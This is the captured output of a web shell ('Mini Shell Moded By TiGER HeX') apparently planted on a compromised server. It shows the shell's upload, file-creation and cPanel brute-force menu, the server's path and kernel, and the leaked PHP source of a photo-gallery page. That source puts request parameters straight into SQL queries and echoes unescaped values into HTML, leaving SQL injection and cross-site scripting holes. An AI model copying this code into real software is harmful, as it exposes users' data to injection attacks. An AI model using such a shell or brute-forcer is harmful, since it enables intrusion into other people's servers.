Mini Shell Moded By TiGER HeX
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
mnt
/
volume_sfo2_01
/
50mmla
/
Linux midnightridazz 4.19.0-11-cloud-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64
Upload File :
New :
File
Dir
/mnt/volume_sfo2_01/50mmla/userPhotos.php
<?php include_once('includes/static/configure.php'); include_once('includes/static/util.php'); include_once('includes/static/dbcon.php'); include_once('includes/static/gdimg.php'); include_once('includes/static/sessions.php'); include_once('includes/appTop.php'); $gallery_id = 0; if(isset($_REQUEST['galleryId'])){ $gallery_id = $_REQUEST['galleryId']; } $artist_id = 0; if(isset($_REQUEST['artistId'])){ $artist_id = $_REQUEST['artistId']; } $uid = 0; if(isset($_REQUEST['userId'])){ $uid = $_REQUEST['userId']; } $pgnum = 1; if(isset($_REQUEST['pgnum'])){ $pgnum = $_REQUEST['pgnum']; } $gallery_voted = 0; if(isset($_COOKIE['gallery_votes'])){ $value = $_COOKIE['gallery_votes']; $votes = explode(",",$value); for($i=0; $i<count($votes); $i++){ $temp = explode(":",$votes[$i]); $id = $temp[0]; $value = $temp[1]; if($gallery_id == $id){ $vote_name = $vote_array[$value]; $gallery_voted = 1; } } } if( (isset($_REQUEST['vote'])) && (!$gallery_voted) ){ $sql = "INSERT INTO 50mm_gallery_votes (gallery_id,artist_id,vote,entry_time) VALUES ('$gallery_id','$artist_id','".$_REQUEST['vote']."',NOW())"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } //set a cookie to last for one year if(isset($_COOKIE['gallery_votes'])){ $value = $_COOKIE['gallery_votes'].",".$gallery_id.":".$_REQUEST['vote']; }else{ $value = $gallery_id.":".$_REQUEST['vote']; } $vote_name = $vote_array[$_REQUEST['vote']]; setcookie("gallery_votes", $value, time()+60*60*24*365, "/"); $gallery_voted = 1; } //get username $sql = "SELECT username FROM 50mm_users WHERE user_id='$uid'"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $row = $db->sql_fetchrow($result); $uname = $row['username']; //make an array of all the content owned by this users $sql = "SELECT gallery_id FROM 50mm_gallery WHERE user_id='$uid' AND approved = 1 ORDER BY entry_time DESC"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $gallery_array = Array(); $counter = 0; while($row = $db->sql_fetchrow($result)){ if($gallery_id == $row['gallery_id']){ $index = $counter; } array_push($gallery_array,$row['gallery_id']); $counter++; } if(($index + 1) < $counter){ $next_photo = $gallery_array[$index+1]; $next_url = $_SERVER['PHP_SELF']."?userId=$uid&galleryId=$next_photo&pgnum=$pgnum"; $next = "<a href=\"$next_url\"><img src=\"images/next.gif\" border=\"0\"></a>"; }else{ $next = ""; } if(($index - 1) >= 0){ $previous_photo = $gallery_array[$index-1]; $previous_url = $_SERVER['PHP_SELF']."?userId=$uid&galleryId=$previous_photo&pgnum=$pgnum"; $previous = "<a href=\"$previous_url\"><img src=\"images/previous.gif\" border=\"0\"></a>"; }else{ $previous = ""; } //print_r($gallery_array); //get gallery pic $sql = "SELECT g.image,g.comment,g.year_painted,g.user_id,g.location,g.entry_time,a.artist_name,a.artist_id FROM 50mm_gallery g,50mm_artists a WHERE g.gallery_id = '$gallery_id' AND g.user_id='$uid' AND g.artist_id = a.artist_id"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $row = $db->sql_fetchrow($result); $photo_name = $row['image']; $photo_src = GALLERY_LIMG_DIR.$photo_name; $photo_blurb = $row['comment']; if($row['year_painted'] != 0){ $photo_year = $row['year_painted']; }else{ $photo_year = ""; } $location = $row['location']; $artist_name = $row['artist_name']; $artist_id = $row['artist_id']; $image = $row['image']; $unix = get_unix_time($row['entry_time']); $date = date("m.j.y",$unix); $blurbs ="<div>"; if(!empty($location)){ $blurbs.=$location." ".$photo_year."<br><br>"; }else{ $blurbs.=$photo_year."<br>"; } $blurbs.=$photo_blurb."<br>Posted $date<br>"; //get other artist involved $sql = "SELECT a.artist_id,a.artist_name FROM 50mm_other_artists o,50mm_artists a WHERE o.gallery_id = '$gallery_id' AND a.artist_id=o.artist_id"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } if($db->sql_numrows($result)>0){ $blurbs.="Other artists involved: "; while($row = $db->sql_fetchrow($result)){ $blurbs.="<a href=\"artist.php?artistId=".$row['artist_id']."\">".$row['artist_name']."</a> "; } } $blurbs.="</div>\n"; $pg_name = basename($_SERVER['PHP_SELF']); include_once('includes/header.php'); ?> <script src="js/imageProtect.js" language="JavaScript" type="text/javascript"></script> <table border="0" cellpadding="0" cellspacing="0" width="100%"> <tr> <td height="430" valign="top"> <!-- start display --> <table width="700" border="0" cellspacing="0" cellpadding="0"> <tr valign="top" height="20"> <td height="20"> <table border="0" cellspacing="10" cellpadding="0"> <tr> <td align="center" valign="top" width="17"><?echo $previous?></td> <td align="center" valign="top" width="17"><a href="artist.php?artistId=<?echo $artist_id;?>&pgnum=<?echo $pgnum?>"><img src="images/home.gif" border="0"></a></td> <td align="center" valign="top" width="17"><?echo $next?></td> </tr> </table> </td> <td height="20"><?if(!$gallery_voted){?> <form name="rateForm" action="<?echo $_SERVER['PHP_SELF']?>" method="GET"> <select name="vote" onChange="castVote();"> <? $options = ""; while (list($key, $text) = each($vote_array)) { $options.= '<option value="'.$key.'">'.$text.'</option>'."\n"; } echo $options; ?> </select> <input type="hidden" name="galleryId" value="<?echo $gallery_id;?>"> <input type="hidden" name="artistId" value="<?echo $artist_id;?>"> <input type="hidden" name="userId" value="<?echo $uid;?>"> </form> <?}else{?><span class="hilite">You voted this photo: <?echo $vote_name?></span><br> <br> <br> <?}?></td> <td rowspan="2" width="468"> <?php include_once('includes/ads/468x60.php'); ?> </td> </tr> <tr valign="top"> <td colspan="2" align="left" valign="bottom"> <div class="title"> Contributions by: <?echo $uname;?><br> </div> </td> </tr> </table> <br> <div class="title"> <? if(is_file(ROOT_DIR.GALLERY_LIMG_DIR.$image)){ $image_info = getimagesize(ROOT_DIR.GALLERY_LIMG_DIR.$image); $w = $image_info[0]; $h = $image_info[1]; $style =""; $overflow = false; if($w>GALLERY_SCROLL_WIDTH){ $w = GALLERY_SCROLL_WIDTH; $overflow = true; } if($h>GALLERY_SCROLL_HEIGHT){ $h = GALLERY_SCROLL_HEIGHT; $overflow = true; } if($overflow){ $h +=20;//account for scrollbars $w +=0; $style.="overflow: auto;"; } $style.= "width: ".$w."px;"; $style.= "height: ".$h."px;"; $spacer = "<img src=\"/images/spacer.gif\" width=\"".$image_info[0]."\" height=\"".$image_info[1]."\">"; $div = "<div class=\"flick\" style=\"".$style."\">\n"; $div.="<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\" background=\"".GALLERY_LIMG_DIR.$image."\">\n"; $div.="<tr>\n"; $div.="<td width=\"".$image_info[0]."\" height=\"".$image_info[1]."\">$spacer</td>\n"; $div.="</tr>\n"; $div.="</table>\n"; $div.="</div>"; echo $div; }else{ echo "no photo available"; } ?><br> <a href="artist.php?artistId=<?echo $artist_id?>"><?echo $artist_name?></a> <?echo $blurbs?> <!-- end display --></div> </td> </tr> </table> <? include_once('includes/footer.php'); include_once('includes/appBottom.php'); ?>